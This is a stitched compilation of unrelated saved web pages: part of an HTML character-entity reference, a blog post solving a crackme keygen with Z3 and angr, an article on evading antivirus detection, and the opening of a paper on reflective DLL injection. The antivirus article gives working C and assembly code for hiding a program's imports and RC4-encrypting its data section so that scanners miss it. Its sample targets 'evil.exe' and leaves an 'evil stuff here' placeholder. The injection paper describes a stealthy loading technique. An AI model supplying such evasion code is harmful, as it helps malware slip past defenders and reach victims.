  * **^** `lang`: 'mathematical left angle bracket' is NOT the same character as U+003C 'less than', or U+2039 'single left-pointing angle quotation mark', or U+2329 'left-pointing angle bracket', or U+3008 'left angle bracket'.
  * **^** `rang`: 'mathematical right angle bracket' is NOT the same character as U+003E 'greater than', or U+203A 'single right-pointing angle quotation mark', or U+232A 'right-pointing angle bracket', or U+3009 'right angle bracket'.

## \[edit\] Entities representing special characters in XHTML

The XHTML DTDs explicitly declare 253 entities \(including the 5 predefined
entities of XML 1.0\) whose expansion is a single character, which can
therefore be informally referred to as "character entities". These \(with the
exception of the `&apos;` entity\) have the same names and represent the same
characters as the 252 character entities in HTML. Also, by virtue of being
XML, XHTML documents may reference the predefined `&apos;` entity, which is
not one of the 252 character entities in HTML. Additional entities of any size
may be defined on a per-document basis. However, the usability of entity
references in XHTML is affected by how the document is being processed:

  * If the document is read by a conforming HTML processor, then only the 252 HTML character entities can safely be used. The use of `&apos;` or custom entity references may not be supported and may produce unpredictable results.
  * If the document is read by an XML parser that does not or cannot read external entities, then only the five built-in XML character entities \(see above\) can safely be used, although other entities may be used if they are declared in the internal DTD subset.
  * If the document is read by an XML parser that does read external entities, then the five built-in XML character entities can safely be used. The other 248 HTML character entities can be used as long as the XHTML DTD is accessible to the parser at the time the document is read. Other entities may also be used if they are declared in the internal DTD subset.

Because of the special `&apos;` case mentioned above, only `&quot;`, `&amp;`,
`&lt;`, and `&gt;` will work in all processing situations.

## \[edit\] See also

  * Character encodings in HTML
  * HTML decimal character rendering
  * SGML entity

## \[edit\] References

  * Unicode Consortium. See also: Unicode Consortium
    * UnicodeData.txt from the Unicode Consortium
  * World Wide Web Consortium. See also: World Wide Web Consortium
    * XML 1.0 spec
    * HTML 2.0 spec
    * HTML 3.2 spec
    * HTML 4.0 spec
    * HTML 4.01 spec
    * HTML5 Working Draft
    * XHTML 1.0 spec
    * XML Entity Definitions for Characters
  * The normative reference to RFC 2070 \(still found in DTDs defining the character entities for HTML or XHTML\) is historic; this RFC \(along with other RFC's related to different part of the HTML specification\) has been deprecated in favor of the newer informational RFC 2854 which defines the "text/html" MIME type and references directly the W3C specifications for the actual HTML content.
  * Numerical Reference of Unicode code points at Wikibooks

## \[edit\] External links

  * Character entity references in HTML 4 at the W3C
  * Multilanguage special character entity list \- List of special characters, entities and their names.

# Coding | Reversing: Solving kao's toy project with symbolic execution and angr
**Created:**| _8/15/2016 1:46:03 PM_  
---|---  
**Updated:**| _8/15/2016 1:46:03 PM_  
**Author:**| __  
**Tags:**| __  
  

  

###  Solving kao's toy project with symbolic execution and angr

Kao's toy project is a nifty and small crackme and quite ideal for
demonstrating the power of symbolic execution. Running the crackme provides us
with an installation id. We need to enter an unlock code which shows the
goodboy message.  
  
<img src='img/mainwindow.png' width='306' height='230' alt='The main window'
/>  
---  
Fig 1: The main window  
The installation id is calculated from the hard disk serial number. We will
not focus on the algorithm that generates the installation id but rather on
developing the keygen which calculates an unlock code when given an install
id.  
  
Before discussing about the function which checks the validity of the entered
unlock code, it is important to mention that the installation id is 32 bytes
\(8 DWORDS\) long and is displayed on the crackme screen in the form  

**D 1D0-D3D2-D5D4-D7D6**

  
i.e. within each QWORD the two DWORDS are stored in little endian order. We
need to take this into account in our keygen program and convert the entered
installation id to the proper form.  
  

##  Previous Work

This crackme has previously been solved by Rolf Rolles who used a similar
technique mentioned here in this blog post. While the method involving SMT
solver is similar, Rolf used semi-automatic techniques, which translated the
assembly code to IR and finally generated the constraints from the IR.

  

Before Rolf Rolles, this was solved by andrewl & Dcoder who used cryptanalysis
techniques to reduce the keyspace. More recently, this was solved by Cr4sh who
used the openreil framework.

  

##  The heart of the crackme

At the heart of the crackme lies this small function which checks whether a
given unlock code is valid or not.

<img src='img/checkalgorithm.png' width='316' height='400' alt='Control flow
graph of the checking function' />  
---  
Fig 2: The checking function  
  
  

1 | .text:004010EC ; int \_\_stdcall check\(int part1, int part2\)  
---|---  
2 | .text:004010EC check proc near ; CODE XREF: DialogFunc+104p  
3 | .text:004010EC  
4 | .text:004010EC output = byte ptr -21h  
5 | .text:004010EC part1 = dword ptr 8  
6 | .text:004010EC part2 = dword ptr 0Ch  
7 | .text:004010EC  
8 | .text:004010EC push ebp  
9 | .text:004010ED mov ebp, esp  
10 | .text:004010EF add esp, 0FFFFFFDCh  
11 | .text:004010F2 mov ecx, 32  
12 | .text:004010F7 mov esi, offset installId  
13 | .text:004010FC lea edi, \[ebp+output\]  
14 | .text:004010FF mov edx, \[ebp+part1\]  
15 | .text:00401102 mov ebx, \[ebp+part2\]  
16 | .text:00401105  
17 | .text:00401105 encode: ; CODE XREF: check+23j  
18 | .text:00401105 lodsb  
19 | .text:00401106 sub al, bl  
20 | .text:00401108 xor al, dl  
21 | .text:0040110A stosb  
22 | .text:0040110B rol edx, 1  
23 | .text:0040110D rol ebx, 1  
24 | .text:0040110F loop encode  
25 | .text:00401111 mov byte ptr \[edi\], 0  
26 | .text:00401114 push offset String2 ; "0how4zdy81jpe5xfu92kar6cgiq3lst7"  
27 | .text:00401119 lea eax, \[ebp+output\]  
28 | .text:0040111C push eax ; lpString1  
29 | .text:0040111D call lstrcmpA  
30 | .text:00401122 leave  
31 | .text:00401123 retn 8  
32 | .text:00401123 check endp  
33 | .text:00401123  
34 | .text:00401126  
view raw check.asm hosted with ❤ by GitHub

The function takes two dwords \(from the unlock code\) as arguments which are
then used to encode/encrypt the installation id \(plaintext\) to a given
output buffer\(ciphertext\). For our entered unlock code to be valid, the
encoded output must match the hardcoded string
0how4zdy81jpe5xfu92kar6cgiq3lst7.  
  

##  Solving with Z3

At first we will try to model the system in Z3. Specifically, we will
represent the encoding loop in Z3. Then we will use Z3 to solve the system and
find the two dwords \(unlock code\) which encodes the installation id to the
hardcoded string.

  

1 | from z3 import \*  
---|---  
2 | import binascii  
3 | import sys  
4 |   
5 | \# Calculates the installation id from the entered string  
6 | \# This function just reverses the order of dwords in each quadword  
7 | def getInstallIdFromString\(iid\_string\):  
8 |  qword1, qword2, qword3, qword4 = iid\_string.split\('-'\)  
9 |   
10 |  dword1 = list\(binascii.unhexlify\(qword1\)\)\[3::-1\]  
11 |  dword2 = list\(binascii.unhexlify\(qword1\)\)\[7:3:-1\]  
12 |   
13 |  dword3 = list\(binascii.unhexlify\(qword2\)\)\[3::-1\]  
14 |  dword4 = list\(binascii.unhexlify\(qword2\)\)\[7:3:-1\]  
15 |   
16 |  dword5 = list\(binascii.unhexlify\(qword3\)\)\[3::-1\]  
17 |  dword6 = list\(binascii.unhexlify\(qword3\)\)\[7:3:-1\]  
18 |   
19 |  dword7 = list\(binascii.unhexlify\(qword4\)\)\[3::-1\]  
20 |  dword8 = list\(binascii.unhexlify\(qword4\)\)\[7:3:-1\]  
21 |   
22 |  return map\(ord, dword1 + dword2 + dword3 + dword4 + dword5 + dword6 + dword7 + dword8\)  
23 |   
24 |   
25 | def main\(\):  
26 |  if len\(sys.argv\) < 2:  
27 |  print 'Please provide the installation id as an argument'  
28 |  return  
29 |   
30 |  \# Sanity Check  
31 |  assert len\(sys.argv\[1\]\) == 16\*4+3  
32 |   
33 |  install\_id = getInstallIdFromString\(sys.argv\[1\]\)  
34 |   
35 |  \# The install id must encode to this hardcoded string  
36 |  target = map\(ord, list\('0how4zdy81jpe5xfu92kar6cgiq3lst7'\)\)  
37 |   
38 |  s = Solver\(\)  
39 |   
40 |  \# The two parts of the unlock code  
41 |  part1 = edx = BitVec\('part1', 32\)   
42 |  part2 = ebx = BitVec\('part2', 32\)   
43 |   
44 |  for i in xrange\(32\):  
45 |  \# text:00401105 lodsb  
46 |  byte = install\_id\[i\]  
47 |   
48 |  \# text:00401106 sub al, bl  
49 |  byte -= Extract\(7, 0, ebx\)  
50 |   
51 |  \# text:00401108 xor al, dl  
52 |  byte ^= Extract\(7, 0, edx\)  
53 |   
54 |  \# text:0040110B rol edx, 1  
55 |  edx = RotateLeft\(edx, 1\)  
56 |   
57 |  \# text:0040110D rol ebx, 1  
58 |  ebx = RotateLeft\(ebx, 1\)  
59 |   
60 |  \# Add constraint  
61 |  s.add\(byte == target\[i\]\)  
62 |   
63 |  \# Solve the system  
64 |  if s.check\(\) == sat:  
65 |  m = s.model\(\)  
66 |  print 'Unlock Code: ',  
67 |  print '%08X-%08X' %\(m\[part1\].as\_long\(\), m\[part1\].as\_long \(\) ^ m\[part2\].as\_long\(\)\)  
68 |   
69 | if \_\_name\_\_ == '\_\_main\_\_':  
70 |  main\(\)  
view raw z3solver.py hosted with ❤ by GitHub

The script takes in the installation id as a command line argument. Lets' walk
through the code step by step.  

[code]

    install_id = getInstallIdFromString(sys.argv[1])
[/code]

Here we convert the install id into its proper form i.e the order of the two
DWORDs within each QWORDs is reversed and returned as a list of integers.  

[code]

    target = map(ord, list('0how4zdy81jpe5xfu92kar6cgiq3lst7'))
[/code]

[/code]

After encoding the installation id it must match with the hardcoded string.
Here we are converting the that string to a list of characters where each
character is represented by its ASCII value.  

[code]

    part1 = edx = BitVec('part1', 32) 
    part2 = ebx = BitVec('part2', 32)
[/code]

We declare two bit-vectors of with a size of 32 bits each. These two bit
vectors represents the two DWORDS of the unlock code.  
  

[code]

    for i in xrange(32):
        # text:00401105 lodsb
        byte = install_id[i]
            
        # text:00401106 sub al, bl
        byte -= Extract(7, 0, ebx)
        
        # text:00401108 xor al, dl
        byte ^= Extract(7, 0, edx)
    
        # text:0040110B rol edx, 1
        edx = RotateLeft(edx, 1)
            
        # text:0040110D rol ebx, 1
        ebx = RotateLeft(ebx, 1)
            
        # Add constraint
        s.add(byte == target[i])
    
[/code]

  
The above loop describes the encoding process. Each character of the
install\_id is processed. This value must match the corresponding character in
the target list. For this we use constraints.  
  

[code]

    # Solve the system
    if s.check() == sat:
        m = s.model()
        print 'Unlock Code: ',
        print '%08X-%08X' %(m[part1].as_long(), m[part1].as_long () ^ m[part2].as_long())
    
[/code]

  
Finally, we ask z3 to solve the system. and print the solutions.  
  

##  Solving with angr

Okay we have already solved the crackme, so why another method? This is
because I wanted to see if we can use angr for the same purpose, besides it
would be a good learning experience.

  
Lets look at the cfg once again  
<img src='img/checkcalled.png' width='400' height='105' alt='Calling the check
function' />  
---  
Fig 3: We want to execute the green basic block and avoid the red one  
  
At 40122A function check is called. If our entered unlock code is correct
check would return 1 and we would go to the green color basic block at 401234
which displays the good boy message.  
  
Now to the cfg of the check function.  
<img src='img/checkhooks.png' width='315' height='400' alt='Control flow graph
of the check function with hooks' />  
---  
Fig 4: Inserting hooks inside the check function  
  
We are going to execute the above function symbolically. The unlock code which
is comprised of two parts are passed as arguments to the function. Since we
are executing this function in isolation we need provide the inputs ourselves,
and this can be done by setting a hook at 4010FF \(set\_ebx\_edx\). Within the
hook, we would store symbolic values representing the two parts of the unlock
code into the ebx and edx registers.  
  
Lastly, at 40111D there is a call to lstrcmpA. This function is imported from
kernel32.dll. Now, within our execution environment this dll is not loaded, we
must emulate the behaviour of lstrcmpA and this can be done with
SimProcedures.  
  
<img src='img/strcmp.png' width='400' height='80' alt='Imported lstrcmpA
function' />  
---  
Fig 5: lstrcmpA function  
  
lstrcmpA is located at 40130E. We would set a hook at this location to call a
SimProcedure which emulates the behaviour of lstrcmpA.  
  
Now lets see the code which implements all of these.  

1 | \#\!/usr/bin/env python  
---|---  
2 |   
3 | import angr  
4 | import simuvex  
5 | import binascii  
6 | import sys  
7 |   
8 | part1 = None  
9 | part2 = None  
10 |   
11 | \# Calculates the installation id from the entered string  
12 | \# This function just reverses the order of dwords in each quadword  
13 | def getInstallIdFromString\(iid\_string\):  
14 |  qword1, qword2, qword3, qword4 = iid\_string.split\('-'\)  
15 |   
16 |  dword1 = list\(binascii.unhexlify\(qword1\)\)\[3::-1\]  
17 |  dword2 = list\(binascii.unhexlify\(qword1\)\)\[7:3:-1\]  
18 |   
19 |  dword3 = list\(binascii.unhexlify\(qword2\)\)\[3::-1\]  
20 |  dword4 = list\(binascii.unhexlify\(qword2\)\)\[7:3:-1\]  
21 |   
22 |  dword5 = list\(binascii.unhexlify\(qword3\)\)\[3::-1\]  
23 |  dword6 = list\(binascii.unhexlify\(qword3\)\)\[7:3:-1\]  
24 |   
25 |  dword7 = list\(binascii.unhexlify\(qword4\)\)\[3::-1\]  
26 |  dword8 = list\(binascii.unhexlify\(qword4\)\)\[7:3:-1\]  
27 |   
28 |  return ''.join\(dword1 + dword2 + dword3 + dword4 + dword5 + dword6 + dword7 + dword8\)  
29 |   
30 |   
31 | def set\_ebx\_edx\(state\):  
32 |  global part1, part2  
33 |  state.regs.edx = part1  
34 |  state.regs.ebx = part2  
35 |   
36 |   
37 | def main\(iid\_string\):  
38 |  global part1, part2  
39 |  angr.path\_group.l.setLevel\('DEBUG'\)  
40 |   
41 |  \# Calculate the install id from the string  
42 |  install\_id = getInstallIdFromString\(iid\_string\)  
43 |   
44 |  \# Load the binary  
45 |  proj = angr.Project\('toyproject.exe', load\_options=\{'auto\_load\_libs': False\}\)  
46 |   
47 |  \# Hook strcmp  
48 |  proj.hook\(0x40130E, simuvex.SimProcedures\['libc.so.6'\]\['strcmp'\], length=5\)  
49 |   
50 |  \# Create a blank state at 0x40122A i.e where check function is called  
51 |  initial\_state = proj.factory.blank\_state\(addr=0x40122A\)  
52 |   
53 |  \# The two parts of the serial  
54 |  part1 = initial\_state.se.BVS\('part1', 32\)  
55 |  part2 = initial\_state.se.BVS\('part2', 32\)  
56 |   
57 |  \# Store the install id in memory  
58 |  initial\_state.memory.store\(0x4093A8, install\_id\)  
59 |   
60 |  \# Hook to set ebx and edx registers  
61 |  proj.hook\(0x4010ff, func=set\_ebx\_edx, length=6\)  
62 |   
63 |  pg = proj.factory.path\_group\(initial\_state\)  
64 |   
65 |  \# Go, go  
66 |  pg.explore\(find=0x401234, avoid=0x401249\)  
67 |  found\_state = pg.found\[0\].state  
68 |   
69 |  p1 = found\_state.se.any\_int\(part1\)  
70 |  p2 = found\_state.se.any\_int\(part2\)  
71 |  print '%08X-%08X' %\(p1, p1^p2\)  
72 |   
73 | if \_\_name\_\_ == '\_\_main\_\_':  
74 |  if len\(sys.argv\) < 2:  
75 |  print 'Please provide the installation id as an arguement'  
76 |  else:  
77 |  \# Sanity check  
78 |  assert len\(sys.argv\[1\]\) == 16\*4+3  
79 |  main\(sys.argv\[1\]\)  
80 |   
view raw angrsolver.py hosted with ❤ by GitHub

Finally to wrap things up, here is an asciicast showing the solver in action.

Posted by  Extreme Coders at 20:48:00 <img src='img/2144_icon18_email.gif'
width='18' height='13' />

Email ThisBlogThis\!Share to TwitterShare to FacebookShare to Pinterest

Labels: angr, constraint satisfaction, ida, python, symbolic execution, z3

  

  *[20:48:00]: 2016-04-01T20:48:00+05:30

# Clever tricks against antiviruses | X-N2O
**Created:**| _4/21/2010 9:54:18 AM_  
---|---  
**Updated:**| _4/21/2010 9:54:34 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis C programming_  
  

## Clever tricks against antiviruses

Category: Coding, Cryptography, Tutorials, x86 ASM / Tag: Anti-Virus, Block
Cipher, data section encryption, DLL, dynamic API loading, getprocaddress,
loadlibrary, no imports, PE / Add Comment

I bet you have come across some software you’ve made which you didn’t want the
AV to pick up. This article explains how to import from DLLs without having to
call GetProcAddress, and also how to encrypt your data section. Anti-viruses
rely heavily on their heuristics, if all other \(signature\) scans fail. The
patterns they search for in your executable, are the functions being imported,
and the order they are being called.

# No imports\!

Having no import table is relatively easy. There are however some functions I
haven’t imported dynamically, but which are very normal in any application
\(libc functions\).  
The steps you need to do are:

  1. Get the kernel32 module base address. \(kernel32.dll is always loaded when the process is started, and so is ntdll.dll\)
  2. Make your own GetProcAddress
  3. Use it to find LoadLibrary’s address, so that you can load other DLLs
  4. Make the functions usable in a practical way, so that you don’t have to make a prototype for each of the functions that you will load

## 1\. Get kernel32’s base address

The first step is easy. There are lots of methods out there to retrieve the
kernel32 base address, whose list of supported platforms varies greatly. I
will be retrieving the address using the PEB \(the linked list of the modules’
initialization order\). Code:

[code]

    void __declspec(naked) *kernel_addr() {
            // Get kernel32 base address through PEB (initialization order)
            __asm {
                    mov eax, fs:[0x30]   // PEB address
                    mov eax, [eax+0x0c]  // PEB->Ldr
                    mov eax, [eax+0x1c]  // Ldr.InInitializationOrderModuleList (ntdll)
                    mov eax, [eax]       // [ntdll].Flink (kernel32)
                    mov eax, [eax+0x08]  // kernel32 base address
                    ret
            }
    }
    
[/code]

You can use whichever method you want, really, as long as the end result is
the kernel32 base address.

## 2\. Our own GetProcAddress

If you have ever had to deal with the PE format, you’d know that the exports
have three main structures. These are the address table, the name table, and
the ordinal table. The address table is simply just an array with RVAs to
functions. There is one entry for every function exported. To get the real
address, you add that RVA to the base address of the module.  
The name table, is another array with RVA’s to the names of the functions. The
names are just strings of characters terminated by a null byte.  
The problem is, the names’ index doesn’t always correspond to the functions’
index. To retrieve the index, you use the ordinal table. The ordinal table is
basically just an array with an index to the corresponding function. For
example EAT\[0\] might be the function with the name ENT\[42\]. In this case,
EOT\[42\] has the value of 0. So, the ordinal table is just another table,
which maps a name to a function, using the name’s index to retrieve the
function’s index.  
Code:

[code]

    void *my_gpa(HMODULE modl, char *fname) {
            unsigned long modb          = (unsigned long)modl;
            IMAGE_DOS_HEADER *dosh      = (IMAGE_DOS_HEADER *)modb;
            IMAGE_NT_HEADERS *nth       = (IMAGE_NT_HEADERS *)(modb+dosh->e_lfanew);
            IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(modb+nth->OptionalHeader.DataDirectory->VirtualAddress);
            unsigned int i;
    
            for(i = 0; i < ied->NumberOfNames; i++) {
                    const char *nn = (*(const char **)(ied->AddressOfNames+modb+i*sizeof(void *)))+modb;
    
                    if(!strcmp(fname, nn)) {
                            unsigned short ordinal = *(unsigned short *)(ied->AddressOfNameOrdinals+modb+i*sizeof(unsigned short));
                            return (void *)((unsigned long)*(void **)(ied->AddressOfFunctions+modb+ordinal*sizeof(void *))+modb);
                    }
            }
    
            return NULL;
    }
    
[/code]

In our code, modb is the base address of the module. Using that, we make our
way to the export directory \(ied\), which contains the RVAs to the three
tables we need. They are ied->AddressOfNames, ied->AddressOfFunctions and
ied->AddressOfNameOrdinals. There’s some pointer arithmetic going on there,
along with some type casting. Our function works just like GetProcAddress. It
takes a module base address, and a function name, and returns a function
address. We iterate through each entry in the name table.  
The string is retrieved through nn. \(RVA of the table + base address +
i\*4\)+base address – each entry in the table has the size of a word \(32 bits
= 4 bytes\), so to get to the i’th entry, we add i\*4. Once we’ve gotten to
the i’th entry and dereferenced it, we add the base address to get the
string’s address. If the name’s are the same, get the ordinal, the same way
\(except that one ordinal is the size of a short, 16 bits = 2 bytes\). Then
using the ordinal as an index, retrieve the address of the function and return
it.

## 3\. Getting LoadLibrary’s address

Easiest step. The code speaks for itself:

[code]

    HMODULE (__stdcall *dyn_ll)(LPCTSTR lpFileName);
    dyn_ll = my_gpa(kern, "LoadLibraryA");
    
    
[/code]

## 4\. Making it usable

You will probably want to load lots of functions, not just one or two. Writing
the prototypes for all of them would be tedious. Let’s make an array of
functions for each module we will load, then let’s also make a function to
load the APIs into these arrays. I have used kernel32, user32, and winsock.
Code:

[code]

    // don't forget to specify the correct calling convention
    
    char *fn_kernel[] = {
            "GetEnvironmentVariableA", // 0
            "GetModuleFileNameA",      // 1
            "GetTickCount",            // 2
            "GetLocalTime",            // 3
            "CreateThread",            // 4
            "SetThreadPriority",       // 5
    };
    unsigned long (__stdcall *func_kernel[sizeof(fn_kernel)/sizeof(*fn_kernel)])();
    
    char *fn_user[] = {
            "MessageBoxA",         // 0
            "GetForegroundWindow", // 1
            "GetWindowTextA",      // 2
    };
    unsigned long (__stdcall *func_user[sizeof(fn_user)/sizeof(*fn_user)])();
    
    char *fn_wsock[] = {
            "WSAStartup",    // 0
            "send",          // 1
            "connect",       // 2
            "socket",        // 3
            "gethostbyname", // 4
            "closesocket",   // 5
            "recv",          // 6
            "WSACleanup",    // 7
    };
    unsigned long (WSAAPI *func_wsock[sizeof(fn_wsock)/sizeof(*fn_wsock)])();
    
    HMODULE (__stdcall *dyn_ll)(LPCTSTR lpFileName);
    
    void *my_gpa(HMODULE modl, char *fname) {
            unsigned long modb          = (unsigned long)modl;
            IMAGE_DOS_HEADER *dosh      = (IMAGE_DOS_HEADER *)modb;
            IMAGE_NT_HEADERS *nth       = (IMAGE_NT_HEADERS *)(modb+dosh->e_lfanew);
            IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(modb+nth->OptionalHeader.DataDirectory->VirtualAddress);
            unsigned int i;
    
            for(i = 0; i < ied->NumberOfNames; i++) {
                    const char *nn = (*(const char **)(ied->AddressOfNames+modb+i*sizeof(unsigned long)))+modb;
    
                    if(!strcmp(fname, nn)) {
                            unsigned short ordinal = *(unsigned short *)(ied->AddressOfNameOrdinals+modb+i*sizeof(unsigned short));
                            return (void *)((unsigned long)*(void **)(ied->AddressOfFunctions+modb+ordinal*sizeof(unsigned long))+modb);
                    }
            }
    
            return NULL;
    }
    
    void load_imports() {
            HMODULE kern, user, wsock;
            unsigned long i;
    
            kern   = kernel_addr();
            dyn_ll = my_gpa(kern, "LoadLibraryA");
            user   = dyn_ll("user32.dll");
            wsock  = dyn_ll("ws2_32.dll");
    
            for(i = 0; i < sizeof(fn_kernel)/sizeof(*fn_kernel); i++)
                    func_kernel[i] = my_gpa(kern, fn_kernel[i]);
    
            for(i = 0; i < sizeof(fn_user)/sizeof(*fn_user); i++)
                    func_user[i] = my_gpa(user, fn_user[i]);
    
            for(i = 0; i < sizeof(fn_wsock)/sizeof(*fn_wsock); i++)
                    func_wsock[i] = my_gpa(wsock, fn_wsock[i]);
    }
    
    int main(int argc, char *argv[]) {
            WSADATA wsd;
    
            load_imports();
            // MessageBoxA
            func_user[0](0, "MessageBoxA has been called!", "0wn3d.", MB_OK);
            func_wsock[0](MAKEWORD(1, 0), &wsd); // WSAStartup
            // evil stuff here
            func_wsock[7]();                     // WSACleanup
            return EXIT_SUCCESS;
    }
    
    
[/code]

Simple. :\)

# Encrypting your data section

This method is really easy, and of course it’s not nearly as good as the
average packer, but it keeps AVs away from your strings.  
I have used the rc4 cipher, but any symmetric stream cipher would do. We need
to encrypt it from another separate program, and have our program decrypt
itself. Code for the encryption program:

[code]

    #include <windows.h>
    #include <imagehlp.h>
    #include <stdlib.h>
    #include <stdio.h>
    
    #define DATA ".data"    // data section's name
    #define KEY  "DqHAI5VN" // encryption key
    #define NEW  0x11c8     // new ep rva
    #define REP  0x5e4      // offset to patch with the old ep
    
    void rc4_ksched(unsigned char *key, unsigned long keylen, unsigned char sbox[0x100]) {
            unsigned long i, j;
    
            for(i = 0; i < 0x100; i++)
                    sbox[i] = (unsigned char)i;
    
            for(j = i = 0; i < 0x100; i++) {
                    unsigned char tmp;
    
                    j = (j + sbox[i] + key[i % keylen]) & 0xff;
                    tmp     = sbox[i];
                    sbox[i] = sbox[j];
                    sbox[j] = tmp;
            }
    }
    
    void rc4(unsigned char sbox[0x100], unsigned char *src, unsigned char *dest, unsigned long len) {
            unsigned long i, j;
    
            i = j = 0;
            while(len--) {
                    unsigned char tmp;
    
                    i = (i + 1) & 0xff;
                    j = (j + sbox[i]) & 0xff;
    
                    tmp     = sbox[i];
                    sbox[i] = sbox[j];
                    sbox[j] = tmp;
    
                    *dest++ = *src++ ^ sbox[(sbox[i] + sbox[j]) % 0xff];
            }
    }
    
    int main(int argc, char *argv) {
            FILE *f = fopen("evil.exe", "r+b");
            IMAGE_DOS_HEADER dosh;
            IMAGE_NT_HEADERS nth;
            IMAGE_SECTION_HEADER sech, dummy;
    
            if(!f) return 1;
            memset(&dummy, 0, sizeof(dummy));
            fread(&dosh, 1, sizeof(dosh), f);
            fseek(f, dosh.e_lfanew, SEEK_SET);
            fread(&nth, 1, sizeof(nth), f);
            fread(&sech, 1, sizeof(sech), f);
            while(memcmp(&sech, &dummy, sizeof(dummy))) {
                    if(!strcmp(sech.Name, DATA)) {
                            unsigned char sbox[0x100], *rd = malloc(sech.SizeOfRawData);
                            DWORD ep, epaddr;
    
                            rc4_ksched(KEY, 8, sbox);
                            fseek(f, sech.PointerToRawData, SEEK_SET);
                            fread(rd, 1, sech.SizeOfRawData, f);
                            rc4(sbox, rd, rd, sech.SizeOfRawData);
                            fseek(f, sech.PointerToRawData, SEEK_SET);
                            fwrite(rd, 1, sech.SizeOfRawData, f);
                            free(rd);
                            epaddr = ((unsigned long)&nth.OptionalHeader.AddressOfEntryPoint-(unsigned long)&nth)+dosh.e_lfanew;
                            fseek(f, epaddr, SEEK_SET);
                            ep = NEW;
                            fwrite(&ep, 1, 4, f);
                            fseek(f, REP, SEEK_SET);
                            ep = nth.OptionalHeader.AddressOfEntryPoint+nth.OptionalHeader.ImageBase;
                            fwrite(&ep, 1, 4, f);
                            fclose(f);
                            return EXIT_SUCCESS;
                    }
                    fread(&sech, 1, sizeof(sech), f);
            }
    
            fclose(f);
            return EXIT_FAILURE;
    }
    
[/code]

What it does is that it searches for the data section, and when found, it
reads it into memory, encrypts it, and writes it back.  
But to be able to decrypt it we must have some piece of code in our own
executable, which will decrypt the data section using our key, and then jump
back to the old entry point. Code:

[code]

    void decrypt_data(unsigned long mod) {
            char data[6];
            IMAGE_DOS_HEADER *dosh      = (IMAGE_DOS_HEADER *)mod;
            IMAGE_SECTION_HEADER *sech  = (IMAGE_SECTION_HEADER *)(mod+dosh->e_lfanew+sizeof(IMAGE_NT_HEADERS));
            IMAGE_SECTION_HEADER dummy;
    
            data[0] = '.';
            data[1] = 'd';
            data[2] = 'a';
            data[3] = 't';
            data[4] = 'a';
            data[5] = 0;
            memset(&dummy, 0, sizeof(dummy));
            while(memcmp(sech, &dummy, sizeof(dummy))) {
                    if(!strcmp(sech->Name, data)) {
                            unsigned char sbox[0x100], key[9];
    
                            key[0] = 'D';
                            key[1] = 'q';
                            key[2] = 'H';
                            key[3] = 'A';
                            key[4] = 'I';
                            key[5] = '5';
                            key[6] = 'V';
                            key[7] = 'N';
                            key[8] = 0;
                            rc4_ksched(key, 8, sbox);
                            rc4(sbox, (unsigned char *)mod+sech->VirtualAddress, (unsigned char *)mod+sech->VirtualAddress, sech->SizeOfRawData);
                            return;
                    }
                    sech++;
            }
    
            exit(EXIT_FAILURE);
    }
    
    void __declspec(naked) *gba() {
            __asm {
                    mov eax, fs:[0x30]   // PEB address
                    mov eax, [eax+0x08]  // PEB->BaseAddress
                    ret
            }
    }
    
    void __declspec(naked) new_ep() {
            if(*(unsigned long *)magic != 'x86!')
                    decrypt_data((unsigned long)gba());
            __asm {
                    push 0x41414141 // placeholder
                    ret
            }
    }
    
    
[/code]

And in main:

[code]

    unsigned long nep_addr;
    
    int main(int argc, char *argv[]) {
            WSADATA wsd;
    
            nep_addr = (unsigned long)&new_ep;
            load_imports();
            // MessageBoxA
            func_user[0](0, "MessageBoxA has been called!", "0wn3d.", MB_OK);
            func_wsock[0](MAKEWORD(1, 0), &wsd); // WSAStartup
            // evil stuff here
            func_wsock[7]();                     // WSACleanup
            return EXIT_SUCCESS;
    }
    
[/code]

We reference new\_ep, because otherwise the optimizing compiler would notice
that it is not called anywhere and would not generate code for it.

Here you will have to get some offsets. First compile the executable, and
disassemble it. Find the RVA of new\_ep, and put it in the encryption program
source code. Then find the **offset** of the placeholder for the old entry
point. The instruction will look like push 0×41414141. Add one to the address
of that instruction, subtract the image base from it, subtract the RVA of the
.text section from it, add the offset of the .text section to it, and there
you have your offset. Now put it in the encryption source, compile it, run it,
and everything is ready :\)

Well, that was everything.  
If you found this article helpful or have a question, feel free to post a
comment.

# Harmony Security : Reflective Dll Injection

**Created:**| _4/4/2010 8:21:55 PM_  
---|---  
**Updated:**| _4/4/2010 8:22:16 PM_  
**Author:**| __  
**Tags:**| _web-app-sec windows security Exploit papers_  
  

&nbsp;

&nbsp;

&nbsp;

  * Welcome
  * Blog
  * Research
  * Services
  * Contact

&nbsp;

&nbsp;

# Download

## The Paper

Reflective Dll Injection \[PDF\]

## The PoC Code

Reflective Dll Injection \[ZIP\]

# Reflective Dll Injection

## Abstract

Reflective DLL injection is a library injection technique in which the concept
of reflective programming is employed to perform the loading of a library from
memory into a host process. As such the library is responsible for loading
itself by implementing a minimal Portable Executable \(PE\) file loader.

## Introduction

Under the Windows platform, library injection techniques both local and remote
have been around for many years. Remote library injection as an exploitation
technique was introduced in 2004 by Skape and JT\[1\]. Their technique employs
shellcode to patch the host processes ntdll library at run time and forces the
native Windows loader to load a Dynamic Link Library \(DLL\) image from
memory. As an alternative to this technique I present Reflective DLL
Injection. Reflective DLL injection is a library injection technique in which
the concept of reflective programming is employed to perform the loading of a
library from memory into a host process. As such the library is responsible
for loading itself by implementing a minimal Portable Executable \(PE\) file
loader. It can then govern, with minimal interaction with the host system and
process, how it will load and interact with the host. Previous work in the
security field of building PE file loaders include the bo2k server by
DilDog\[2\]. The main advantage of the library loading itself is that it is
not registered in any way with the host system and as a result is largely
undetectable at both a system and process level. When employed as an
exploitation technique, Reflective DLL Injection requires a minimal amount of
shellcode, further reducing its detection footprint against host and network
based intrusion detection and prevention systems.

## Overview

The process of remotely injecting a library into a process is two fold.
Firstly, the library you wish to inject must be written into the address space
of the target process \(Herein referred to as the host process\). Secondly the
library must be loaded into that host process in such a way that the library's
run time expectations are met, such as resolving its imports or relocating it
to a suitable location in memory. For any of these steps to occur you should
have some form of code execution in the host process, presumably obtained
through exploitation of a remote code execution vulnerability.

Assuming we have code execution in the host process and the library we wish to
inject has been written into an arbitrary location of memory in the host
process, \(for example via a first stage shellcode\), Reflective DLL Injection
works as follows.

  * Execution is passed, via a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table.
